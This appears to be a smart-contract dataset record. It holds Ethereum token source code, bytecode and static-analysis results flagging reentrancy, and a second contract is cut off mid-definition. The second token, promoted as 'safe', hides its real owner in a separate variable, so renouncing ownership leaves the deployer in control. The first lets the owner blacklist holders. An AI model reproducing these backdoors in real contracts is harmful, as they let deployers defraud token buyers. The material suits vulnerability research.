a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ElonaTama is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "ElonaTama"; string private constant _symbol = "ElonaTama"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 15; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 5; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xE04EB3621BCE65b486241a96047cB12134Aa9992); address payable private _marketingAddress = payable(0xA9C110f26f30cAfA049f39e81B0DddB4d81Bf4a2); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000000 * 10**9; uint256 public _maxWalletSize = 25000000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 2%"); require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 14, "Buy tax must be between 0% and 14%"); require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 2%"); require(taxFeeOnSell >= 0 && taxFeeOnSell <= 14, "Sell tax must be between 0% and 14%"); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { if (maxTxAmount > 5000000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610525578063dd62ed3e14610545578063ea1644d51461058b578063f2fde38b146105ab57600080fd5b8063a2a957bb146104a0578063a9059cbb146104c0578063bfd79284146104e0578063c3c8cd801461051057600080fd5b80638f70ccf7116100d15780638f70ccf71461044a5780638f9a55c01461046a57806395d89b41146101fe57806398a5c3151461048057600080fd5b80637d1db4a5146103e95780637f2feddc146103ff5780638da5cb5b1461042c57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037f57806370a0823114610394578063715018a6146103b457806374010ece146103c957600080fd5b8063313ce5671461030357806349bd5a5e1461031f5780636b9990531461033f5780636d8aa8f81461035f57600080fd5b80631694505e116101ab5780631694505e1461026f57806318160ddd146102a757806323b872dd146102cd5780632fd689e3146102ed57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023f57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611aaa565b6105cb565b005b34801561020a57600080fd5b506040805180820182526009815268456c6f6e6154616d6160b81b602082015290516102369190611b6f565b60405180910390f35b34801561024b57600080fd5b5061025f61025a366004611bc4565b61066a565b6040519015158152602001610236565b34801561027b57600080fd5b5060145461028f906001600160a01b031681565b6040516001600160a01b039091168152602001610236565b3480156102b357600080fd5b50683635c9adc5dea000005b604051908152602001610236565b3480156102d957600080fd5b5061025f6102e8366004611bf0565b610681565b3480156102f957600080fd5b506102bf60185481565b34801561030f57600080fd5b5060405160098152602001610236565b34801561032b57600080fd5b5060155461028f906001600160a01b031681565b34801561034b57600080fd5b506101fc61035a366004611c31565b6106ea565b34801561036b57600080fd5b506101fc61037a366004611c5e565b610735565b34801561038b57600080fd5b506101fc61077d565b3480156103a057600080fd5b506102bf6103af366004611c31565b6107c8565b3480156103c057600080fd5b506101fc6107ea565b3480156103d557600080fd5b506101fc6103e4366004611c79565b61085e565b3480156103f557600080fd5b506102bf60165481565b34801561040b57600080fd5b506102bf61041a366004611c31565b60116020526000908152604090205481565b34801561043857600080fd5b506000546001600160a01b031661028f565b34801561045657600080fd5b506101fc610465366004611c5e565b61089d565b34801561047657600080fd5b506102bf60175481565b34801561048c57600080fd5b506101fc61049b366004611c79565b6108e5565b3480156104ac57600080fd5b506101fc6104bb366004611c92565b610914565b3480156104cc57600080fd5b5061025f6104db366004611bc4565b610aca565b3480156104ec57600080fd5b5061025f6104fb366004611c31565b60106020526000908152604090205460ff1681565b34801561051c57600080fd5b506101fc610ad7565b34801561053157600080fd5b506101fc610540366004611cc4565b610b2b565b34801561055157600080fd5b506102bf610560366004611d48565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059757600080fd5b506101fc6105a6366004611c79565b610bcc565b3480156105b757600080fd5b506101fc6105c6366004611c31565b610bfb565b6000546001600160a01b031633146105fe5760405162461bcd60e51b81526004016105f590611d81565b60405180910390fd5b60005b81518110156106665760016010600084848151811061062257610622611db6565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065e81611de2565b915050610601565b5050565b6000610677338484610ce5565b5060015b92915050565b600061068e848484610e09565b6106e084336106db85604051806060016040528060288152602001611efc602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611345565b610ce5565b5060019392505050565b6000546001600160a01b031633146107145760405162461bcd60e51b81526004016105f590611d81565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075f5760405162461bcd60e51b81526004016105f590611d81565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b257506013546001600160a01b0316336001600160a01b0316145b6107bb57600080fd5b476107c58161137f565b50565b6001600160a01b03811660009081526002602052604081205461067b906113b9565b6000546001600160a01b031633146108145760405162461bcd60e51b81526004016105f590611d81565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108885760405162461bcd60e51b81526004016105f590611d81565b674563918244f400008111156107c557601655565b6000546001600160a01b031633146108c75760405162461bcd60e51b81526004016105f590611d81565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461090f5760405162461bcd60e51b81526004016105f590611d81565b601855565b6000546001600160a01b0316331461093e5760405162461bcd60e51b81526004016105f590611d81565b600484111561099d5760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420322560d81b60648201526084016105f5565b600e8211156109f95760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642031604482015261342560f01b60648201526084016105f5565b6004831115610a595760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420322560d01b60648201526084016105f5565b600e811115610ab65760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526231342560e81b60648201526084016105f5565b600893909355600a91909155600955600b55565b6000610677338484610e09565b6012546001600160a01b0316336001600160a01b03161480610b0c57506013546001600160a01b0316336001600160a01b0316145b610b1557600080fd5b6000610b20306107c8565b90506107c58161143d565b6000546001600160a01b03163314610b555760405162461bcd60e51b81526004016105f590611d81565b60005b82811015610bc6578160056000868685818110610b7757610b77611db6565b9050602002016020810190610b8c9190611c31565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bbe81611de2565b915050610b58565b50505050565b6000546001600160a01b03163314610bf65760405162461bcd60e51b81526004016105f590611d81565b601755565b6000546001600160a01b03163314610c255760405162461bcd60e51b81526004016105f590611d81565b6001600160a01b038116610c8a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f5565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d475760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f5565b6001600160a01b038216610da85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f5565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e6d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f5565b6001600160a01b038216610ecf5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f5565b60008111610f315760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f5565b6000546001600160a01b03848116911614801590610f5d57506000546001600160a01b03838116911614155b1561123e57601554600160a01b900460ff16610ff6576000546001600160a01b03848116911614610ff65760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f5565b6016548111156110485760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f5565b6001600160a01b03831660009081526010602052604090205460ff1615801561108a57506001600160a01b03821660009081526010602052604090205460ff16155b6110e25760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f5565b6015546001600160a01b038381169116146111675760175481611104846107c8565b61110e9190611dfd565b106111675760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f5565b6000611172306107c8565b60185460165491925082101590821061118b5760165491505b8080156111a25750601554600160a81b900460ff16155b80156111bc57506015546001600160a01b03868116911614155b80156111d15750601554600160b01b900460ff165b80156111f657506001600160a01b03851660009081526005602052604090205460ff16155b801561121b57506001600160a01b03841660009081526005602052604090205460ff16155b1561123b576112298261143d565b478015611239576112394761137f565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061128057506001600160a01b03831660009081526005602052604090205460ff165b806112b257506015546001600160a01b038581169116148015906112b257506015546001600160a01b03848116911614155b156112bf57506000611339565b6015546001600160a01b0385811691161480156112ea57506014546001600160a01b03848116911614155b156112fc57600854600c55600954600d555b6015546001600160a01b03848116911614801561132757506014546001600160a01b03858116911614155b1561133957600a54600c55600b54600d555b610bc6848484846115b7565b600081848411156113695760405162461bcd60e51b81526004016105f59190611b6f565b5060006113768486611e15565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610666573d6000803e3d6000fd5b60006006548211156114205760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f5565b600061142a6115e5565b90506114368382611608565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061148557611485611db6565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115029190611e2c565b8160018151811061151557611515611db6565b6001600160a01b03928316602091820292909201015260145461153b9130911684610ce5565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611574908590600090869030904290600401611e49565b600060405180830381600087803b15801561158e57600080fd5b505af11580156115a2573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806115c4576115c461164a565b6115cf848484611678565b80610bc657610bc6600e54600c55600f54600d55565b60008060006115f261176f565b90925090506116018282611608565b9250505090565b600061143683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117b1565b600c5415801561165a5750600d54155b1561166157565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061168a876117df565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116bc908761183c565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116eb908661187e565b6001600160a01b03891660009081526002602052604090205561170d816118dd565b6117178483611927565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161175c91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061178b8282611608565b8210156117a857505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836117d25760405162461bcd60e51b81526004016105f59190611b6f565b5060006113768486611eba565b60008060008060008060008060006117fc8a600c54600d5461194b565b925092509250600061180c6115e5565b9050600080600061181f8e8787876119a0565b919e509c509a509598509396509194505050505091939550919395565b600061143683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611345565b60008061188b8385611dfd565b9050838110156114365760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f5565b60006118e76115e5565b905060006118f583836119f0565b30600090815260026020526040902054909150611912908261187e565b30600090815260026020526040902055505050565b600654611934908361183c565b600655600754611944908261187e565b6007555050565b6000808080611965606461195f89896119f0565b90611608565b90506000611978606461195f8a896119f0565b905060006119908261198a8b8661183c565b9061183c565b9992985090965090945050505050565b60008080806119af88866119f0565b905060006119bd88876119f0565b905060006119cb88886119f0565b905060006119dd8261198a868661183c565b939b939a50919850919650505050505050565b6000826119ff5750600061067b565b6000611a0b8385611edc565b905082611a188583611eba565b146114365760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f5565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c557600080fd5b8035611aa581611a85565b919050565b60006020808385031215611abd57600080fd5b823567ffffffffffffffff80821115611ad557600080fd5b818501915085601f830112611ae957600080fd5b813581811115611afb57611afb611a6f565b8060051b604051601f19603f83011681018181108582111715611b2057611b20611a6f565b604052918252848201925083810185019188831115611b3e57600080fd5b938501935b82851015611b6357611b5485611a9a565b84529385019392850192611b43565b98975050505050505050565b600060208083528351808285015260005b81811015611b9c57858101830151858201604001528201611b80565b81811115611bae576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611bd757600080fd5b8235611be281611a85565b946020939093013593505050565b600080600060608486031215611c0557600080fd5b8335611c1081611a85565b92506020840135611c2081611a85565b929592945050506040919091013590565b600060208284031215611c4357600080fd5b813561143681611a85565b80358015158114611aa557600080fd5b600060208284031215611c7057600080fd5b61143682611c4e565b600060208284031215611c8b57600080fd5b5035919050565b60008060008060808587031215611ca857600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611cd957600080fd5b833567ffffffffffffffff80821115611cf157600080fd5b818601915086601f830112611d0557600080fd5b813581811115611d1457600080fd5b8760208260051b8501011115611d2957600080fd5b602092830195509350611d3f9186019050611c4e565b90509250925092565b60008060408385031215611d5b57600080fd5b8235611d6681611a85565b91506020830135611d7681611a85565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611df657611df6611dcc565b5060010190565b60008219821115611e1057611e10611dcc565b500190565b600082821015611e2757611e27611dcc565b500390565b600060208284031215611e3e57600080fd5b815161143681611a85565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e995784516001600160a01b031683529383019391830191600101611e74565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611ed757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611ef657611ef6611dcc565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b79d36ccba3d31d4570d9f4e9d787e250eb356078397524a091c47e8c0cba00b64736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
1,252
0x839ad1ff98379ee2546c0190be961e5a95a7f389
/* $SAITAMEOW Launching tomorrow. Haven’t worked with the team before but i think it’s a safe dev. Saitameow is a community based meme token that plans to take off with the help of influencers and upcoming utilities/merchandise. 🚀 Anime + Cat Meta ERC-20 Memecoin 🚀 P2E Meowverse planned for v2 Roadmap 🔥 50% of supply burned at launch + 1% AUTO-BURN 🔥 Max TX & Anti-bot measures for smooth/fair launch 🔥 Automatic Reflections + Burn + Liquidity = BULLISH https://t.me/saitameowportal */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract SAITAMEOW is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**9* 10**18; string private _name = 'Saitameow ' ; string private _symbol = 'SAITAMEOW ' ; uint8 private _decimals = 18; constructor () public { 